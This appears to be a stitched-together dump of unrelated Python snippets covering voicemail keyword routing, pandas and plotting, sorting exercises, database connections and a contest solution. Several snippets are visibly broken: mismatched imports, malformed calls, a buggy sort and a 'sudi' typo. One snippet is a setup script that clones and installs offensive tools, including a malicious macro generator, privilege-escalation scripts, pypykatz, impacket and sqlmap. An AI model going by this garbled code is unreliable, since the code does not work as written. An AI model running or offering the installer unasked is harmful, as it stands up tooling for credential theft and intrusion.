    close_matches = [matches[0] for matches in matches if matches[1] >= min_ratio]

    # get the rows of all the close matches in our dataframe
    rows_with_matches = df[column].isin(close_matches)

    # replace all rows with close matches with the input matches 
    df.loc[rows_with_matches, column] = string_to_match
    
    # let us know the function's done
    print("All done!")
'''

Ethan Anderson
Balance of Nature
VtT v1.0.1
Oct. 20 2021

'''

# importing libraries 
import speech_recognition as sr 
import os
from pydub import AudioSegment
from pydub.silence import split_on_silence


#create a speech recognition object
r = sr.Recognizer()
#change this to the folder you have your wav files
VM_directory = r'vm temp wav'

def send_to_rr():
    print("Sending to R&R...")
    #put actual transfer process here
def send_to_customer_care():
    print("Sending to CC...")
    #put actual transfer process here
def send_to_new_sales():
    print("Sending to NS...")
    #put actual transfer process here
def send_to_customer_sales():
    print("Sending to CS...")
    #put actual transfer process here
def send_to_returns():
    print("Sending to Returns...")
    #put actual transfer process here
def send_to_declines():
    print("Sending to Declines...")
    #put actual transfer process here
def send_to_scheduling():
    print("Sending to Scheduling...")
    #put actual transfer process here
def no_matches():
    print("No Matches")
    #put actual transfer process here

all_departments_words = [
    {
        'words' : ["tracking", "shipment", "pending", "shipped", "shipping", "where my order is", "where is my order", "delay", "delayed", "not received", "not recieve"],
        'target' : send_to_rr,
        'message' : "Sent to Reception and Routing"
    },

    {
        'words' : ["stop", "discontinue", "backlog", "surplus", "postpone", "no shipments"],
        'target' : send_to_customer_care,
        'message' : "Sent to Customer Care"
    },

    {
        'words' : ["fox","new customer", "cost", "discount code", "commercial", "do not have a computer", "don't have a computer", "35%", "35 percent", "Fox"],
        'target' : send_to_new_sales,
        'message' : "Sent to New Sales"
    },

    {
        'words' : ["reinstate", "old account", "ordered before", "place an order", "place another order", "renew", "change in my order", "reactivate", "reorder", "make an order", "apple", "preferred customer"],
        'target' : send_to_customer_sales,
        'message' : "Sent to Customer Sales"
    },

    {
        'words' : ["refund", "money back", "charged", "RMA", "R M A", "refunded", "refunding", "refused", "refuse"],
        'target' : send_to_returns,
        'message' : "Sent to Returns"
    },

    {
        'words' : ["fraud", "update", "declined", "decline", "account is disabled", "account has been disabled", "declines", "updated"],
        'target' : send_to_declines,
        'message' : "Sent to Declines"
    },

    {
        'words' : ["appointment", "scheduled", "schedule", "reschedule", "coach"],
        'target' : send_to_scheduling,
        'message' : "Sent to Scheduling"
    },

    {
        'words' : ["return", "returns", "returning"],
        'target' : send_to_returns,
        'message' : "Sent to Returns"
    },

    {
        'words' : ["cancel", "cancelled", "cancelling", "canceling"],
        'target' : send_to_customer_care,
        'message' : "Sent to Customer Care"
    },

    {
        'words' : ["ship"],
        'target' : send_to_rr,
        'message' : "Sent to Reception and Routing"
    },

    {
        'words' : [' ', '-'],
        'target' : no_matches,
        'message' : "No Matches"
    }

]



####################################### FUNCTIONS ##########################################

# a function that splits the audio file into chunks
# and applies speech recognition - edited to make it one giant chunk instead of multiple small ones (would want to be split into small ones for conversations)
def get_large_audio_transcription(path):
    """
    Splitting the large audio file into chunks
    and apply speech recognition on each of these chunks
    """
    # open the audio file using pydub
    sound = AudioSegment.from_wav(path)  
    # split audio sound where silence is 700 miliseconds or more and get chunks
    chunks = split_on_silence(sound,
        # experiment with this value for your target audio file
        min_silence_len = 1500, #change this if you want to modify for conversations, detects the silence length to find breaks
        # adjust this per requirement
        silence_thresh = sound.dBFS-14,
        # keep the silence for 1 second, adjustable as well
        keep_silence=500,
    )
    folder_name = "audio-chunks"
    # create a directory to store the audio chunks
    if not os.path.isdir(folder_name):
        os.mkdir(folder_name)
    whole_text = ""
    # process each chunk 
    for i, audio_chunk in enumerate(chunks, start=1):
        # export audio chunk and save it in
        # the `folder_name` directory.
        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
        audio_chunk.export(chunk_filename, format="wav")
        # recognize the chunk
        with sr.AudioFile(chunk_filename) as source:
            audio_listened = r.record(source)
            # try converting it to text
            try:
                text = r.recognize_google(audio_listened)
            except sr.UnknownValueError as e:
                print("Error:", str(e))
            else:
                text = f"{text.capitalize()}. "
                print(chunk_filename, ":", text)
                whole_text += text
    # return the text for all chunks detected
    return whole_text


def main():
    #checklist = []
    for filename in os.scandir(VM_directory):
        #only running through .wav files
        if filename.path.endswith(".wav"):
            vm_text_string = get_large_audio_transcription(filename)
            #flags for if there are no keywords
            flag = 0
            #loops through dictionaries
            for department in all_departments_words:
                if flag == 1:
                    break
                #loops through keywords
                for word in department['words']:
                    #loops words through VM and splits string into words
                    if word in vm_text_string:
                        #calls the function that will actually send the vm
                        department['target']()
                        #prints the "sent to ..." from dict
                        print(department['message'])
                        #checklist.append(department['message'])
                        flag += 1
                        #ends loop to prevent repeats
                        break
            #if no keywords are detected flag will stay 0
            if flag == 0:
                #runs function for no matches
                no_matches()
                #checklist.append('No Matches')
    '''print(checklist)
    answers = ['Sent to Customer Care', 'Sent to Customer Care', 'Sent to Customer Care', 'Sent to Customer Care', 'Sent to Customer Sales', 'Sent to Customer Sales', 'No Matches', 'No Matches', 'No Matches', 'Sent to New Sales', 'Sent to New Sales', 'Sent to Returns', 'Sent to Returns', 'Sent to Reception and Routing', 'Sent to Reception and Routing', 'Sent to Reception and Routing', 'Sent to Reception and Routing', 'Sent to Scheduling', 'Sent to Scheduling']
    i = -1
    while i < 19:
        i += 1
        if checklist[i] == answers[i]:
            print('correct')   
        else:
            print('incorrect')'''

main()
#Code by Leon Wolber https://www.kaggle.com/leonwolber/reddit-nlp-topic-modeling-prediction

# The wordcloud 
plt.figure(figsize=(16,13))
wc = WordCloud(background_color="black", max_words=1000, max_font_size= 200,  width=1600, height=800)
wc.generate(" ".join(ls))
plt.title("Most discussed terms", fontsize=20)
plt.imshow(wc.recolor( colormap= 'viridis' , random_state=17), alpha=0.98, interpolation="bilinear", )
plt.axis('off')
import os
for dirname, _, filenames in os.walk('/kaggle/input'):
    for filename in filenames:
        print(os.path.join(dirname, filename)) 
df['SettlementDate'] = pd.TimedeltaIndex(df['SettlementDate'], unit='d') + dt.datetime(1900,1,1)
>>> lis = []
>>> lis = lis + [1]
>>> lis
[1]
>>> lis = lis + [2]
>>> lis
[1, 2]
>>> lis += [3]  # += acts like list.extend, i.e changes the list in-place
>>> lis
[1, 2, 3]
def weighted_median(df, median_col, weight_col):
    df_sorted = df.sort_values(median_col)
    cumsum = df_sorted[weight_col].cumsum()
    cutoff = df_sorted[weight_col].sum()/2
    return df_sorted[cumsum >= cutoff][median_col].iloc[0]
pd.pivot(df, index='time', columns= 'name)'.plot(subplots=True)
y_pos = np.arange(len(df_cuba.GP_per_sender))

plt.bar(y_pos,df_cuba.GP_per_sender)
fig, (ax1, ax2) = plt.subplots(1, 2, figsize= (30,8))
ax1.plot(df_cuba.wk_year, df_cuba.GP_per_sender,'-b*')
ax1.plot(df_cuba.wk_year, df_cuba.avg_value, '--g')
ax1.plot(df_cuba.wk_year, df_cuba.std_value2p,'-r')
ax1.plot(df_cuba.wk_year, df_cuba.std_value2m,'-r')
ax1.set_title('Cuba')
ax2.plot(df_row.wk_year, df_row.GP_per_sender,'-b*')
ax2.plot(df_row.wk_year, df_row.avg_value, '--g')
ax2.plot(df_row.wk_year, df_row.std_value2p,'-r')
ax2.plot(df_row.wk_year, df_row.std_value2m,'-r')
ax2.set_title('ROW')
fig, ax1 = plt.subplots( figsize= (20,8))

ax2 = ax1.twinx()
ax1.plot(df_cuba.wk_year, df_cuba.GP_per_sender, '-m')
ax2.plot(df_row.wk_year, df_row.GP_per_sender, '-k')


ax1.set_xlabel('X data')
ax1.set_ylabel('Y1 data', color='m')
ax2.set_ylabel('Y2 data', color='k')

plt.show()
fig = plt.figure(figsize = (20,8)) # Create matplotlib figure

ax = fig.add_subplot(111) # Create matplotlib axes
ax2 = ax.twinx() # Create another axes that shares the same x-axis as ax.

width = 0.4

df_cuba.GP_per_sender.plot(kind='bar', color='m', ax=ax, width=width, position=1)
df_row.GP_per_sender.plot(kind='bar', color='blue', ax=ax2, width=width, position=0)

ax.set_ylabel('cuba', color='m')
ax2.set_ylabel('row', color='b')

plt.show()
es = Elasticsearch()
# get all indices name
indices_names = []
for elem in es.cat.indices(format="json"):
    indices_names.append( elem['index'] )
# get all fileds of index
dict_index_fields = {}
index = 'factiva.snapshot'
mapping = es.indices.get_mapping(index)
dict_index_fields[index] = []
for field in mapping[index]['mappings']['properties']:
    dict_index_fields[index].append(field)
day30.pivot(index='acq_date', columns='cuba_split', values=['senders','orders_per_sender','GP_per_sender'])
1
df['avg_value'] = df.groupby("x").y.transform('mean')
2
df['avg_value'] = df.groupby("x").y.mean()
def selection_sort(array):
    n = len(array)
    
    for i in range(n):
        
        # Index of smallest element
        min_index = i
        
        for j in range(i+1, n):
            if array[j] < array[min_index]:
                min_index = j
                
        array[min_index], array[i] = array[i], array[min_index]
        
my_array = [5, 3, 7, 1, 4, 8, 2, 6]
selection_sort(my_array)
print my_array
def sort(nums):
    for i in range(5):
         minpos = i
         for j in range(i,6):
            if nums[j] < nums[minpos]:
               minpos = j
               temp = nums[i]
               nums[i] = nums[minpos]
               nums[minpos] = temp
nums = [5,3,8,6,7,2]
sort(nums)
print(nums)
# define strings
listOfPlaces = ["Berlin", "Paris", "Lausanne"]
currentCity = "Lausanne"

for place in listOfPlaces:
    print ("comparing %s with %s: %s" % (place, currentCity, place == currentCity))
df.groupby('cluster', group_keys=False).apply(lambda df: df.sample(1))
x1 = float(input("x1: "))
y1 = float(input("y1: "))
x2 = float(input("x2: "))
y2 = float(input("y2: "))
bins = 7

edges = np.linspace(df.value.min(), df.value.max(), bins+1).astype(int)
labels = [f'({edges[i]}, {edges[i+1]}]' for i in range(len(edges)-1)]

df['bin'] = pd.cut(df.value, bins=bins, labels=labels)

#     value         bin
# 1       8     (0, 53]
# 2      16     (0, 53]
# ..    ...         ...
# 45    360  (322, 376]
# 46    368  (322, 376]
bins = 7

_, edges = pd.cut(df.value, bins=bins, retbins=True)
labels = [f'({abs(edges[i]):.0f}, {edges[i+1]:.0f}]' for i in range(len(edges)-1)]

df['bin'] = pd.cut(df.value, bins=bins, labels=labels)

#     value         bin
# 1       8     (0, 53]
# 2      16     (0, 53]
# ..    ...         ...
# 45    360  (322, 376]
# 46    368  (322, 376]
# How to extract the mac address of a computer
import uuid

print("The MAC address in formatted way is : ", end="")

print(':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff)
for elements in range(0, 8*6, 8)][::-1]))

import os 

 

#Install neccessary dependancies before installing the numerous applications 

os.system("sudo apt install -y python3-pip") 

os.system("pip3 install -y minidump minikerberos aiowinreg msldap winacl") 

os.system("sudo apt install -y git") 

os.system("sudo apt install -y snapd") 

 

#Install TigerVNC (Remote Access Tool) 

os.system("sudo apt install -y xfce4 xfce4-goodies") 

os.system("sudo apt install -y tigervnc-standalone-server tigervnc-common") 

 

#Install Nmap (Vulnerability Scanner) 

os.system("sudo apt install -y nmap") 

 

#Install Hashcat (Password Recovery) 

os.system("sudo apt install -y hashcat") 

 

#Install FruityWifi (Wireless Audit) 

os.system("sudi apt install -y fruitywifi") 

 

#Install IDA Pro (Reverse Engineering) 

os.system("sudo apt install -y libgtk2.0-0:i386 gtk2-engines-murrine:i386 gtk2-engines-pixbuf:i386") 

 

#Install DNSRecon [or use NMap] (DNS Recon) 

os.system("sudo apt install -y dnsrecon") 

 

#SUBDOMAIN BRUTEFORCING 

#USE previously-installed Nmap 

 

#Install SQLMap (SQL Injection Scanner) 

os.system("sudo snap install -y sqlmap") 

 

#Install Netcat (Local Host Enumeration) 

os.system("sudo apt install -y netcat") 

 

#Install imPacket (Kerberos Ticket Manipulation) 

os.system("sudo apt install -y python3-impacket") 

 

#Install ExifTool (Metadata Extractor) 

os.system("sudo apt install -y libimage-exiftool-perl") 

 

#Install MMG (Macro Payload Generator) 

os.system("git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator") 

 

#Install BeRoot (Privilege Escalation Tool #1) 

os.system("git clone https://github.com/AlessandroZ/BeRoot") 

 

#Install (Privilege Escalation Tool #2) 

os.system("git clone https://github.com/rebootuser/LinEnum") 

 

#Install (Privilege Escalation Tool #3) 

os.system("git clone https://github.com/skelsec/pypykatz.git") 

os.system("cd pypykatz") 

os.system("sudo python3 setup.py") 
def bubbleSort(arr):
    n = len(arr)
    for i in range(n-1):
        for j in range(0, n-i-1):
  
            if arr[j] > arr[j + 1] :
                arr[j], arr[j + 1] = arr[j + 1], arr[j]
  
#test with this
arr = [64, 34, 25, 12, 22, 11, 90]
  
bubbleSort(arr)
  
print ("Sorted array is:")
for i in range(len(arr)):
    print ("% d" % arr[i])

OR 

def bubbleSort(arr):

    swapped = True
    while swapped:
        swapped = False
        for i in range(len(arr)-1):
            if arr[i] > arr[i+1]:
                arr[i], arr[i+1] = arr[i+1], arr  [i]
                print("Swapped: {} with {}".format(arr[i], arr[i+1]))
                swapped = True

    return arr

my_list = [8,2,1,3,5,4]

print(bubbleSort(my_list))
import os
os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = 'path to key/key.json'
movie_col_name = list(movie_df.columns)
print(movie_col_name)
movie_shape = movie_df.shape
num_row = movie_shape[0]
num_column = movie_shape[1]
print('{} rows and {} columns'.format(num_row, num_column))
movie_df = pd.read_csv('./data/movie_metadata.csv')
students = {
  "name": ["Jason", "Peter", "Mary", "Apple", "Banana", "Orange"],
  "age": [18, 20, 17, 20, 20, 23],
  "grade": ["C", "A", "B+", "B-", "B", "A"]
}

df_students = pd.DataFrame(students)
print(df_students)
You can use pipreqs to automatically generate a requirements.txt file based on the import statements that the Python script(s) contain. To use pipreqs, assuming that you are in the directory where example.py is located:
pip install pipreqs
pipreqs .
It will generate the following requirements.txt file:
requests==2.23.0
beautifulsoup4==4.9.1
which you can install with:
pip install -r requirements.txt
{
    "python.defaultInterpreterPath": "${env:PYTHON_INSTALL_LOC}"
}

PYTHON_INSTALL_LOC="C:/Users/Juno Wong/miniconda3/python.exe"
import tensorflow as ts;

print(f"tf version is: {tf.__version__}")
conda create --name tf_python python=3.9
conda activate tf_python
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import numpy as np

df_gender = pd.read_csv('data/prepared/Survey_on_Gender_Equality_At_Home/Survey_on_Gender_Equality_At_Home_2_cleaned.csv')

df = df_gender.copy()
df.head()

df = df[['Country','Gender','Internet_Penetration','a1_agree','b7_full']]
df.rename(columns={'a1_agree':'Equal_Rights','b7_full':'Access_Money'},inplace=True)

print(df['Internet_Penetration'].unique())

df = df[df['Internet_Penetration']!='.']
df['Internet_Penetration'] = [float(df.loc[i,'Internet_Penetration'][:2]) 
                              if df.loc[i,'Internet_Penetration'][1].isalnum() 
                              else float(df.loc[i,'Internet_Penetration'][:1]) for i in df.index]
                              
print(df['Equal_Rights'].unique())

df[df['Equal_Rights']==19]['Country']

df = df[df['Equal_Rights']!=19] #Remove outlier

figure, axes = plt.subplots(3,1,figsize=(10,15))
sns.regplot(x=df['Internet_Penetration'],y=df['Equal_Rights'],ax=axes[0]).set(
    title='Internet penetration vs Equal rights perception',xlabel='',ylabel='')
df_female = df[df['Gender']=='Female']
sns.regplot(x=df_female['Internet_Penetration'],y=df_female['Access_Money'],ax=axes[1]).set(
    title='Internet penetration vs self access of money',xlabel='',ylabel='')
sns.regplot(x=df_female['Equal_Rights'],y=df_female['Access_Money'],ax=axes[2]).set(
    title='Equal rights perception vs Self access of money',xlabel='',ylabel='')
plt.show()

fig = plt.figure(figsize=(7,6)) 
sns.heatmap(df_female.corr(),annot=True).set_title('Correlation')
plt.show()

df_gender = df

df_business = pd.read_csv('data/prepared/Survey_on_future_business/Survey_on_future_business_good_clean.csv')
df = df_business.copy()
df.head()
df['statistic'] = round(df['statistic']/df['total_asked']*100,2)

df_codes = pd.read_csv('data/prepared/Country_Code.csv')
df_codes.head()

df_codes = df_codes[[ 'Country','Alpha-2 code']]

df = df_codes.merge(df,left_on='Alpha-2 code',right_on='country')

df.drop(columns=['country','who_was_asked','total_asked'],inplace=True)
df = df[(df['variable'] == "gen_opn_1_text") | (df['variable'] == "own_fem_text")]

df.replace(['gen_opn_1_text','own_fem_text'],['Self_perp_equal_rights','Owner_female'],inplace=True)

print(df['value'].unique())

df.dropna(inplace=True)
df.reset_index(drop=True,inplace=True)
df

for var in df['variable'].unique():
    for val in df[df['variable']==var]['value'].unique():
        df[var+'_'+val] = [df.loc[i,'statistic'] if (df.loc[i,'variable']==var) 
                           & (df.loc[i,'value']==val) else np.nan for i in df.index]
df = df.groupby(['Country']).sum().drop(columns=['statistic'])
df

df['Equal_rights_agree'] = df['Self_perp_equal_rights_Agree'] + df['Self_perp_equal_rights_Strongly agree']
df['Equal_rights_disagree'] = df['Self_perp_equal_rights_Disagree'] + df[
                                'Self_perp_equal_rights_Strongly disagree']
df['Female_owner_Half_or_more'] = df['Owner_female_All owners are female'] + df[
                                'Owner_female_Exactly half'] + df['Owner_female_More than half']
df['Female_owner_less_than_half'] = df['Owner_female_Less than half'] + df['Owner_female_None']
df = df[['Equal_rights_agree','Equal_rights_disagree','Female_owner_Half_or_more',
         'Female_owner_less_than_half']]
df

figure, axes = plt.subplots(1,1,figsize=(9,5))
sns.regplot(x=df['Equal_rights_agree'],y=df['Female_owner_Half_or_more']).set(
    title='Equal rights perception vs proportion of female owner of business',xlabel='',ylabel='')
plt.show()

df_business = df.reset_index()
df = df_gender.merge(df_business,on='Country')
df_female = df[df['Gender']=='Female'] 
df_female

figure, axes = plt.subplots(2,1,figsize=(15,12))
sns.regplot(x=df_female['Access_Money'],y=df_female['Female_owner_Half_or_more'],ax=axes[0]).set(
    title='Self access of money vs Female_owner_Half_or_more',xlabel='',ylabel='')
sns.regplot(x=df_female['Internet_Penetration'],y=df_female['Female_owner_Half_or_more'],ax=axes[1]).set(
    title='Internet penetration vs Female_owner_Half_or_more',xlabel='',ylabel='')

plt.show()
#Import necesary modules

import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import numpy as np

#Reading Data

df_gender = pd.read_csv('data/prepared/Survey_on_Gender_Equality_At_Home/Survey_on_Gender_Equality_At_Home_2_cleaned.csv')

#Explore and Clean

df = df_gender.copy()
df.head()

df = df[['Country','Gender','Internet_Penetration','a1_agree','b7_full']]
df.rename(columns={'a1_agree':'Equal_Rights','b7_full':'Access_Money'},inplace=True)

print(df['Internet_Penetration'].unique())

df = df[df['Internet_Penetration']!='.']
df['Internet_Penetration'] = [float(df.loc[i,'Internet_Penetration'][:2]) 
                              if df.loc[i,'Internet_Penetration'][1].isalnum() 
                              else float(df.loc[i,'Internet_Penetration'][:1]) for i in df.index]
                              
print(df['Equal_Rights'].unique())

df[df['Equal_Rights']==19]['Country']

#Remove outlier

df = df[df['Equal_Rights']!=19] 


#Analysis

figure, axes = plt.subplots(3,1,figsize=(10,15))
sns.regplot(x=df['Internet_Penetration'],y=df['Equal_Rights'],ax=axes[0]).set(
    title='Internet penetration vs Equal rights perception',xlabel='',ylabel='')
df_female = df[df['Gender']=='Female']
sns.regplot(x=df_female['Internet_Penetration'],y=df_female['Access_Money'],ax=axes[1]).set(
    title='Internet penetration vs self access of money',xlabel='',ylabel='')
sns.regplot(x=df_female['Equal_Rights'],y=df_female['Access_Money'],ax=axes[2]).set(
    title='Equal rights perception vs Self access of money',xlabel='',ylabel='')
plt.show()

fig = plt.figure(figsize=(7,6)) 
sns.heatmap(df_female.corr(),annot=True).set_title('Correlation')
plt.show()

df_gender = df

#Survey on Future of business

df_business = pd.read_csv('data/prepared/Survey_on_future_business/Survey_on_future_business_good_clean.csv')
df = df_business.copy()
df.head()
df['statistic'] = round(df['statistic']/df['total_asked']*100,2)

df_codes = pd.read_csv('data/prepared/Country_Code.csv')
df_codes.head()

df_codes = df_codes[[ 'Country','Alpha-2 code']]

df = df_codes.merge(df,left_on='Alpha-2 code',right_on='country')

df.drop(columns=['country','who_was_asked','total_asked'],inplace=True)
df = df[(df['variable'] == "gen_opn_1_text") | (df['variable'] == "own_fem_text")]

df.replace(['gen_opn_1_text','own_fem_text'],['Self_perp_equal_rights','Owner_female'],inplace=True)

print(df['value'].unique())

df.dropna(inplace=True)
df.reset_index(drop=True,inplace=True)

for var in df['variable'].unique():
    for val in df[df['variable']==var]['value'].unique():
        df[var+'_'+val] = [df.loc[i,'statistic'] if (df.loc[i,'variable']==var) 
                           & (df.loc[i,'value']==val) else np.nan for i in df.index]
df = df.groupby(['Country']).sum().drop(columns=['statistic'])
df

df['Equal_rights_agree'] = df['Self_perp_equal_rights_Agree'] + df['Self_perp_equal_rights_Strongly agree']
df['Equal_rights_disagree'] = df['Self_perp_equal_rights_Disagree'] + df[
                                'Self_perp_equal_rights_Strongly disagree']
df['Female_owner_Half_or_more'] = df['Owner_female_All owners are female'] + df[
                                'Owner_female_Exactly half'] + df['Owner_female_More than half']
df['Female_owner_less_than_half'] = df['Owner_female_Less than half'] + df['Owner_female_None']
df = df[['Equal_rights_agree','Equal_rights_disagree','Female_owner_Half_or_more',
         'Female_owner_less_than_half']]

figure, axes = plt.subplots(1,1,figsize=(9,5))
sns.regplot(x=df['Equal_rights_agree'],y=df['Female_owner_Half_or_more']).set(
    title='Equal rights perception vs proportion of female owner of business',xlabel='',ylabel='')
plt.show()

df_business = df.reset_index()
df = df_gender.merge(df_business,on='Country')
df_female = df[df['Gender']=='Female'] 
df_female

figure, axes = plt.subplots(2,1,figsize=(15,12))
sns.regplot(x=df_female['Access_Money'],y=df_female['Female_owner_Half_or_more'],ax=axes[0]).set(
    title='Self access of money vs Female_owner_Half_or_more',xlabel='',ylabel='')
sns.regplot(x=df_female['Internet_Penetration'],y=df_female['Female_owner_Half_or_more'],ax=axes[1]).set(
    title='Internet penetration vs Female_owner_Half_or_more',xlabel='',ylabel='')

plt.show()

os.path.join(BASE_DIR, 'templates')
full_path_for_helm_values_china="/Users/julianaferreira/repos/helm-charts/deploy-global/values/services/live-china"

import os


for root, dirs, files in os.walk(full_path_for_helm_values_china, topdown=False):

  for name in files:    
    file_path=os.path.join(root, name)

    file_name=os.path.join(root, name).split("/")[-1].split(".")[0]

    if file_name in "public-pages":
       print("1")
       print (file_name)
    #elif file_name in "nginx-gateway":
        # in check if file_name exists in string "nginx-gateway". Just "nginx" or "gateway" are true too.
    elif file_name == "nginx-gateway":
        ## == compara exacly string with file_name
    #elif file_name.__contains__("nginx-gateway"):
        # contains check if string "nginx-gateway" exists in file_name. Return true just for *"nginx-gateway"*.
       print("2")
       print (file_name)
    else:
       print("3")
       print (file_name)
import tkinter as tk
from tkinter import ttk

root = tk.Tk()

# Pack a big frame so, it behaves like the window background
big_frame = ttk.Frame(root)
big_frame.pack(fill="both", expand=True)

# Set the initial theme
root.tk.call("source", "sun-valley.tcl")
root.tk.call("set_theme", "light")

def change_theme():
    # NOTE: The theme's real name is sun-valley-<mode>
    if root.tk.call("ttk::style", "theme", "use") == "sun-valley-dark":
        # Set light theme
        root.tk.call("set_theme", "light")
    else:
        # Set dark theme
        root.tk.call("set_theme", "dark")

# Remember, you have to use ttk widgets
button = ttk.Button(big_frame, text="Change theme!", command=change_theme)
button.pack()

root.mainloop()
pd.set_option('display.max_rows', 200)
pd.set_option('display.max_columns', None)
pd.set_option('display.width', None)
pd.set_option('display.max_colwidth', None)
(pd.Timestamp.today("UTC") - pd.Timestamp("2021-08-20T20:01:05+00:00")) > pd.Timedelta(
    3, "D"
)
class Band:
 
  bandcount = 0
 
  def __init__(self, name, instrument): #these are attributes
          self.name = name
          self.instrument = instrument
          Band.bandcount += 1
 
  def displayInstrumnet(self): #this is a method
          print(self.name, "plays", self.instrument)
 
  def bandCount(self):
          print("# of Bandmembers = ", Band.bandcount)
## Using snowflake connector 
import snowflake.connector
from configparser import ConfigParser
import pandas as pd

config = ConfigParser()
config.read("config.ini")

user=config["SNOWFLAKE"]["USER"]
password=config["SNOWFLAKE"]["PASSWORD"]
database=config["SNOWFLAKE"]["DATABASE"]
schema=config["SNOWFLAKE"]["SCHEMA"]
warehouse=config["SNOWFLAKE"]["WAREHOUSE"]
role=config["SNOWFLAKE"]["ROLE"]



## snowflake connector method
connection = snowflake.connector.connect(
    user=user,
    password=password,
    account='hostelworld.eu-west-1',
    database = database,
    warehouse = warehouse,
    role = role)
print("snowflake connector connected...")

query = '''select * from production.ppc.campaign_performance_daily limit 1000 ;'''
df = pd.read_sql_query(sql=query, con=connection)
print('DF shape = ', df.shape)

connection.close()
print("connection closed")



### Using sql alchemy
from sqlalchemy import create_engine
from configparser import ConfigParser
import pandas as pd

config = ConfigParser()
config.read("config.ini")

user=config["SNOWFLAKE"]["USER"]
password=config["SNOWFLAKE"]["PASSWORD"]
database=config["SNOWFLAKE"]["DATABASE"]
schema=config["SNOWFLAKE"]["SCHEMA"]
warehouse=config["SNOWFLAKE"]["WAREHOUSE"]
role=config["SNOWFLAKE"]["ROLE"]

# sql alchemy method
engine = create_engine(
            f"""snowflake://{user}:{password}@hostelworld.eu-west-1/{database}/{schema}?warehouse={warehouse}&role={role}"""
)

connection = engine.connect()
print('sql alchemy connected...')
            
query = '''select * from production.ppc.campaign_performance_daily limit 1000 ;'''
df = pd.read_sql_query(sql=query, con=connection)
print('DF shape = ', df.shape)

connection.close()
print("connection closed")
pd.date_range(start="2021-08-16", end=pd.Timestamp.today().strftime("%Y-%m-%d"), name="action_date", closed="left")
pd.Timestamp.today().strftime("%Y-%m-%d")
import pandas as pd
from google.oauth2 import service_account
import pandas_gbq
import logging

logger = logging.getLogger("pandas_gbq")
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler())

project_id = "analytics-dev-308300"

credentials = service_account.Credentials.from_service_account_file(
    "../keys/gcp_key.json",
)

pd.read_gbq(query=query, credentials=credentials, project_id=project_id)
@dataclass
class C:
    i: int
    j: int = None
    database: InitVar[DatabaseType] = None

    def __post_init__(self, database):
        if self.j is None and database is not None:
            self.j = database.lookup('j')

c = C(10, database=my_database)
import PySimpleGUI as sg

# Define the window's contents
layout = [[sg.Text("What's your name?")],
          [sg.Input(key='-INPUT-')],
          [sg.Text(size=(40,1), key='-OUTPUT-')],
          [sg.Button('Ok'), sg.Button('Quit')]]

# Create the window
window = sg.Window('Window Title', layout)

# Display and interact with the Window using an Event Loop
while True:
    event, values = window.read()
    # See if user wants to quit or window was closed
    if event == sg.WINDOW_CLOSED or event == 'Quit':
        break
    # Output a message to the window
    window['-OUTPUT-'].update('Hello ' + values['-INPUT-'] + "! Thanks for trying PySimpleGUI")

# Finish up by removing from the screen
window.close()
new_sheet = workbook.create_sheet(sheetName)
default_sheet = workbook['default']

from copy import copy

for row in default_sheet.rows:
    for cell in row:
        new_cell = new_sheet.cell(row=cell.row, column=cell.col_idx,
                value= cell.value)
        if cell.has_style:
            new_cell.font = copy(cell.font)
            new_cell.border = copy(cell.border)
            new_cell.fill = copy(cell.fill)
            new_cell.number_format = copy(cell.number_format)
            new_cell.protection = copy(cell.protection)
            new_cell.alignment = copy(cell.alignment)
import logging
from .ReportLogger import FunctionLogger
from .ReportLogger import LoggerString

def log_all_methods(cls):
    """
    Logs all the methods of a class
    """
    logger_string = LoggerString()

    class WrappedClass:

        def __init__(self, *args, **kwargs):

            logging.debug(logger_string.generate_entering_class_string(
                cls, *args, **kwargs))

            self.__instance = cls(*args, **kwargs)

            logging.debug(logger_string.generate_exiting_class_string(
                cls, *args, **kwargs))

        def __getitem__(self, key: str):
            return self.__instance[key]

        def __getattribute__(self, s):
            try:
                x = super(WrappedClass, self).__getattribute__(s)
            except AttributeError:
                pass
            else:
                return x
            x = self.__instance.__getattribute__(s)
            return FunctionLogger(x)


    return WrappedClass
df_sub = df[["col1", "col2"]]
df_sub = df_sub.dropna()
df_sub.groupby(['col1','col2']).size().reset_index().rename(columns={0:'count'})
''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(60))
open("./keys/talentcards.txt", mode="r").readline()
'''
某比赛已经进入了淘汰赛阶段,已知共有n名选手参与了此阶段比赛,他们的得分分别是a_1,a_2….a_n,小美作为比赛的裁判希望设定一个分数线m,使得所有分数大于m的选手晋级,其他人淘汰。

但是为了保护粉丝脆弱的心脏,小美希望晋级和淘汰的人数均在[x,y]之间。

显然这个m有可能是不存在的,也有可能存在多个m,如果不存在,请你输出-1,如果存在多个,请你输出符合条件的最低的分数线。


输入描述:
输入第一行仅包含三个正整数n,x,y,分别表示参赛的人数和晋级淘汰人数区间。(1<=n<=50000,1<=x,y<=n)

输入第二行包含n个整数,中间用空格隔开,表示从1号选手到n号选手的成绩。(1<=|a_i|<=1000)


输出描述:
输出仅包含一个整数,如果不存在这样的m,则输出-1,否则输出符合条件的最小的值。


输入例子1:
6 2 3
1 2 3 4 5 6

输出例子1:
3
Python3(3.9) 
'''





while True:
    try:
        n,x,y=map(int,input().strip().split())
        a=list(map(int,input().strip().split()))
        a.sort()
        flag=0
        for i in range(x,y+1):
            v=n-i
            if a[i] != a[i-1] and x<=v<=y :
                flag=1
                print(a[i-1])
                break
        if flag==0:
            print(-1)
    except:
        break
# remove punc, segment and stopword
def punc_jieba(text, sep = ' '):
#     stopword = stopwords(["zh"])
    text_punc = re.sub("[\s+\>\<\:\?\.\!\/_,$%^*(+\"\']+|[+——!,。?、~@#¥%……&*()!,❤。~《》:()【】「」?”“;:、【】╮╯▽╰╭★→「」]+".encode().decode("utf8"),
                        "",text)
    text_cut = sep.join(jieba.cut(text_punc, cut_all=False)).lower()
#     tokens = word_tokenize(text_cut)
#     clean_text = [word for word in tokens if not word in stopword]
    
    return text_cut
# mothod1
def stop_word(text):
    stopword = stopwords(['zh'])
    remove_stw = [word for word in text if not word in stopword]
    return remove_stw
df['text'] = df['text'].apply(stop_word)
# mothod2
stopword = stopwords(['zh'])
